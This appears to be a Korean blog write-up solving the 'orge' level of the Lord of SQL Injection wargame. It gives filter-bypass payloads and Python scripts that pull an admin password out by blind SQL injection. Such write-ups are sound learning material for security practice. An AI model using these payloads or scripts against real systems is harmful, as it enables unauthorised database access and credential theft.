id도 admin으로 만들어야 하고 비밀번호도 맞아야 한다.
or랑 and는 필터링된다.
pw=1' || id='admin
이것도 blind sql injection인가보다.
패스워드 길이를 알아내야 하는데 저번처럼 length(pw)=1 같은 방식으로 알아내보겠다.
&가 GET방식으로 전달되지 않는다고 한다. 어쩐지 안되더라니...
%26으로 변환해서 보내주었다. 참고로 #도 %23으로 바꿔줘야 한다.
pw=3' || id='admin'%26%26length(pw)=8%23
순조롭게 8자리인 것을 알아냈다.
los_orge.py
import requests
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw="
session = dict(PHPSESSID = "본인 session id")
password=""
for i in range(1,9):
for j in range(48, 128):
if 59 <= j <= 64: continue #특수문자제외
if 91 <= j <= 96: continue
pw = url + "3'||id='admin' %26%26 substr(pw,1," + str(i) + ")='"+password+chr(j)+"'%23"
res = requests.get(pw,cookies=session)
if 'Hello admin' in res.text:
password += chr(j)
print(password)
break
print("password:"+password)
출력결과
7B751AEC
소문자로 입력해야 풀린다
pw=7b751aec
pw만 입력하면 된다.
+ 비밀번호 길이를 모를 경우
import requests
url = "https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php?pw="
session = dict(PHPSESSID = "본인 session id")
password=""
for i in range(0, 50):
pw = url + "3'||id='admin'%26%26length(pw)=" + str(i) + "%23"
res = requests.get(pw,cookies=session)
if 'Hello admin' in res.text:
length = i
break
print(length)
for i in range(1,9):
for j in range(48, 128):
if 59 <= j <= 64: continue #특수문자제외
if 91 <= j <= 96: continue
pw = url + "3'||id='admin' %26%26 substr(pw,1," + str(i) + ")='"+password+chr(j)+"'%23"
res = requests.get(pw,cookies=session)
if 'Hello admin' in res.text:
password += chr(j)
print(password)
break
print("password:"+password)
하나하나 찾을 경우
pw=' || id='admin' %26%26 ascii(substr(pw,1,1))=1%23
'Web Hacking > LoS' 카테고리의 다른 글
[Lord of SQL Injection] los vampire (0) | 2021.06.28 |
---|---|
[Lord of SQL Injection] los troll (0) | 2021.06.27 |
[Lord of the SQL] los darkelf (0) | 2021.05.23 |
[Lord of SQL Injection] wolfman (0) | 2021.05.18 |
[Lord of SQL Injection] orc (0) | 2021.05.09 |